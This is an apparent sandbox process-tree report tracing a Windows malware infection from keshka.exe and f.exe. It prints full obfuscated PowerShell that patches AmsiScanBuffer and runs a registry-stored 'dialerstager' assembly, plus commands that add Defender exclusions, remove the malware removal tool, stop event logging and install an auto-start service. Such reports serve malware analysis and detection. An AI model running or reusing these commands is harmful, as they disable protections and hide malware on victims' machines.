  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:QtALswLVJVaG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PpEHMccuIgJOFt,[Parameter(Position=1)][Type]$OIefphjqDj)$loJOhTajkgY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+'e'+'c'+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+'mor'+[Char](121)+'M'+[Char](111)+''+[Char](100)+'ul'+[Char](101)+'',$False).DefineType(''+[Char](77)+'yDe'+'l'+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+'l'+'a'+'s'+''+[Char](115)+''+','+'P'+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+',Se'+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+','+''+'A'+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+','+[Char](65)+'ut'+[Char](111)+'C'+'l'+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$loJOhTajkgY.DefineConstructor('R'+'T'+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+'ia'+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+','+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PpEHMccuIgJOFt).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+'e'+[Char](100)+'');$loJOhTajkgY.DefineMethod('In'+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+'y'+''+[Char](83)+'i'+'g'+''+[Char](44)+'N'+'e'+''+[Char](119)+'S'+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'',$OIefphjqDj,$PpEHMccuIgJOFt).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+'e'+''+','+''+[Char](77)+'a'+'n'+'a'+'g'+''+'e'+''+'d'+'');Write-Output $loJOhTajkgY.CreateType();}$sbexXikCHFRJf=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+'m'+'.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+'o'+[Char](115)+'o'+[Char](102)+'t'+'.'+''+[Char](87)+''+[Char](105)+'n'+'3'+''+[Char](50)+''+'.'+''+[Char](85)+''+'n'+'s'+[Char](97)+''+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+'M'+''+'e'+''+[Char](116)+''+[Char](104)+''+'o'+''+[Char](100)+'s');$PziDuiErQIAZSY=$sbexXikCHFRJf.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+'r'+[Char](111)+''+[Char](99)+'Addre'+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+'i'+[Char](99)+''+[Char](44)+'S'+'t'+''+'a'+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UKFVjjdoLhnsfGptzmb=QtALswLVJVaG @([String])([IntPtr]);$KdgddtcPuslbLfiwxfPLeN=QtALswLVJVaG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$JJqxdwUMyzU=$sbexXikCHFRJf.GetMethod(''+[Char](71)+''+[Char](101)+'t'+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+'n'+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+'d'+[Char](108)+''+'l'+'')));$XQXqBwPiqTACnb=$PziDuiErQIAZSY.Invoke($Null,@([Object]$JJqxdwUMyzU,[Object](''+[Char](76)+''+'o'+'a'+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+'r'+''+[Char](121)+''+[Char](65)+'')));$IMwWyQYHyGcefnrPa=$PziDuiErQIAZSY.Invoke($Null,@([Object]$JJqxdwUMyzU,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+''+'c'+''+[Char](116)+'')));$kclNJEO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XQXqBwPiqTACnb,$UKFVjjdoLhnsfGptzmb).Invoke('am'+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$eevyTGftARjXKolWX=$PziDuiErQIAZSY.Invoke($Null,@([Object]$kclNJEO,[Object](''+'A'+''+[Char](109)+'si'+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+'u'+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$PcmimmvLeC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IMwWyQYHyGcefnrPa,$KdgddtcPuslbLfiwxfPLeN).Invoke($eevyTGftARjXKolWX,[uint32]8,4,[ref]$PcmimmvLeC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$eevyTGftARjXKolWX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IMwWyQYHyGcefnrPa,$KdgddtcPuslbLfiwxfPLeN).Invoke($eevyTGftARjXKolWX,[uint32]8,0x20,[ref]$PcmimmvLeC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+'e'+[Char](114)+'s'+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:uxociUMdABBf{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$oaWsevJzXXzRjR,[Parameter(Position=1)][Type]$RdoBnbeEoV)$MmIdLIpeDgZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+'l'+'e'+'c'+[Char](116)+''+'e'+''+[Char](100)+'D'+[Char](101)+''+'l'+''+'e'+'g'+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+'o'+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+'e'+[Char](108)+'e'+'g'+''+[Char](97)+'t'+[Char](101)+'Ty'+[Char](112)+''+[Char](101)+'','C'+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+'al'+'e'+''+'d'+','+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+'s'+''+','+''+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$MmIdLIpeDgZ.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+'e'+'c'+[Char](105)+'a'+[Char](108)+''+'N'+''+'a'+''+'m'+'e,'+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$oaWsevJzXXzRjR).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+[Char](97)+'n'+'a'+'ge'+'d'+'');$MmIdLIpeDgZ.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'Hi'+'d'+''+'e'+''+'B'+'ySi'+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+'wSl'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$RdoBnbeEoV,$oaWsevJzXXzRjR).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+','+[Char](77)+''+'a'+''+'n'+''+'a'+'g'+[Char](101)+''+'d'+'');Write-Output $MmIdLIpeDgZ.CreateType();}$LwbxzqlChjAgP=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+'i'+''+[Char](110)+''+'3'+''+'2'+''+'.'+''+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+''+'h'+''+'o'+'d'+'s'+'');$EXSQRWXJYSBTsu=$LwbxzqlChjAgP.GetMethod('G'+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+'r'+[Char](101)+'ss',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+'lic'+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WMPscXvZAlwfZdshnXz=uxociUMdABBf @([String])([IntPtr]);$HbCKydLVXkEQlVrgmBgYFk=uxociUMdABBf @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$JekAIomTUdA=$LwbxzqlChjAgP.GetMethod(''+[Char](71)+''+[Char](101)+'t'+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'H'+'a'+''+'n'+'dle').Invoke($Null,@([Object]('ke'+'r'+''+'n'+'e'+'l'+''+'3'+''+'2'+''+'.'+''+[Char](100)+''+'l'+''+'l'+'')));$CESRKPdJqpzYSh=$EXSQRWXJYSBTsu.Invoke($Null,@([Object]$JekAIomTUdA,[Object](''+[Char](76)+''+'o'+''+'a'+'d'+[Char](76)+'i'+[Char](98)+'rary'+[Char](65)+'')));$ihHOXHgwcuNczdVPt=$EXSQRWXJYSBTsu.Invoke($Null,@([Object]$JekAIomTUdA,[Object]('V'+[Char](105)+'r'+'t'+''+[Char](117)+'al'+[Char](80)+''+[Char](114)+'ote'+[Char](99)+'t')));$LGetzAD=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CESRKPdJqpzYSh,$WMPscXvZAlwfZdshnXz).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+'.dl'+'l'+'');$NtcSHxqbOoaSTpvDJ=$EXSQRWXJYSBTsu.Invoke($Null,@([Object]$LGetzAD,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+'nB'+[Char](117)+''+[Char](102)+''+'f'+'e'+'r'+'')));$NcQkSLbbWx=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ihHOXHgwcuNczdVPt,$HbCKydLVXkEQlVrgmBgYFk).Invoke($NtcSHxqbOoaSTpvDJ,[uint32]8,4,[ref]$NcQkSLbbWx);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NtcSHxqbOoaSTpvDJ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ihHOXHgwcuNczdVPt,$HbCKydLVXkEQlVrgmBgYFk).Invoke($NtcSHxqbOoaSTpvDJ,[uint32]8,0x20,[ref]$NcQkSLbbWx);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+'i'+''+[Char](97)+''+'l'+''+[Char](101)+''+'r'+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1536
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1644

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2144

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2200

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2372

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3348

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3404
- C:\Users\Admin\AppData\Local\Temp\keshka.exe
  "C:\Users\Admin\AppData\Local\Temp\keshka.exe"
  2⤵
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Users\Admin\AppData\Local\Packages\SppExtComObj.Exe
    C:\Users\Admin\AppData\Local\Packages\SppExtComObj.Exe
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1508
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\SppExtComObj.Exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\SppExtComObj.Exe" -
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1564
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "start C:\Users\Admin\AppData\Local\Temp/f.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:7020
    - - C:\Users\Admin\AppData\Local\Temp\f.exe
        
        C:\Users\Admin\AppData\Local\Temp/f.exe
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1236
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3588
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5132
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:5804
      - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        6⤵
        
        PID:3608
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "OXBNXCPO"
        6⤵
        Launches sc.exe
        
        PID:1860
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "OXBNXCPO" binpath= "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:2504
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:1972
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "OXBNXCPO"
        6⤵
        Launches sc.exe
        
        PID:5024
  - - C:\Program Files\Google\Chrome\Application\SppExtComObj.Exe
      "C:\Program Files\Google\Chrome\Application\SppExtComObj.Exe" -
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4260
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5612
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    - Drops desktop.ini file(s)
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1640
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1972 -prefsLen 27100 -prefMapHandle 1976 -prefMapSize 270279 -ipcHandle 2060 -initialChannelId {6bf851bc-403e-4bdc-a404-a393e5e07a69} -parentPid 1640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1640" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
      4⤵
      PID:5620
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2440 -prefsLen 27136 -prefMapHandle 2444 -prefMapSize 270279 -ipcHandle 2448 -initialChannelId {72ac66b4-d6a3-4249-936d-60453e77f689} -parentPid 1640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1640" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
      4⤵
      PID:2576
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3696 -prefsLen 27277 -prefMapHandle 3700 -prefMapSize 270279 -jsInitHandle 3704 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3712 -initialChannelId {d57acff0-b6d4-4cdf-98af-a1ab5210efc1} -parentPid 1640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1640" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
      4⤵
      Checks processor information in registry
      PID:3648
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3864 -prefsLen 27277 -prefMapHandle 3868 -prefMapSize 270279 -ipcHandle 3952 -initialChannelId {ff26fee7-d61b-47a3-adf0-e394ca1877d0} -parentPid 1640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1640" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
      4⤵
      PID:2104
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3044 -prefsLen 34776 -prefMapHandle 3120 -prefMapSize 270279 -jsInitHandle 3124 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2764 -initialChannelId {553a86e2-4f9c-4e53-a34f-cbb988378d4f} -parentPid 1640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1640" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
      4⤵
      Checks processor information in registry
      PID:848
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5064 -prefsLen 34825 -prefMapHandle 5068 -prefMapSize 270279 -ipcHandle 5012 -initialChannelId {14dad527-59ea-4482-a798-569598492408} -parentPid 1640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1640" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
      4⤵
      Checks processor information in registry
      PID:3888
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5268 -prefsLen 32952 -prefMapHandle 5272 -prefMapSize 270279 -jsInitHandle 5276 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5284 -initialChannelId {5ad27b5c-773e-4f9b-a23b-e81d52c7ebcd} -parentPid 1640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1640" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:4456
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5504 -prefsLen 32952 -prefMapHandle 5508 -prefMapSize 270279 -jsInitHandle 5512 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5520 -initialChannelId {010360be-e72b-41e4-a5af-2afdc263a12e} -parentPid 1640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1640" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:2732
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5676 -prefsLen 32952 -prefMapHandle 5680 -prefMapSize 270279 -jsInitHandle 5684 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5692 -initialChannelId {ae4af1fb-4b2a-4aa8-9fdb-66a78f1f80a0} -parentPid 1640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1640" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
      4⤵
      Checks processor information in registry
      PID:4536
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6268 -prefsLen 33031 -prefMapHandle 6272 -prefMapSize 270279 -jsInitHandle 6236 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6284 -initialChannelId {30e92406-1658-4be4-b8ba-386204061de0} -parentPid 1640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1640" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
      4⤵
      Checks processor information in registry
      PID:5532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3540

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3812

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4056

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:5068

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2152

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2588

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
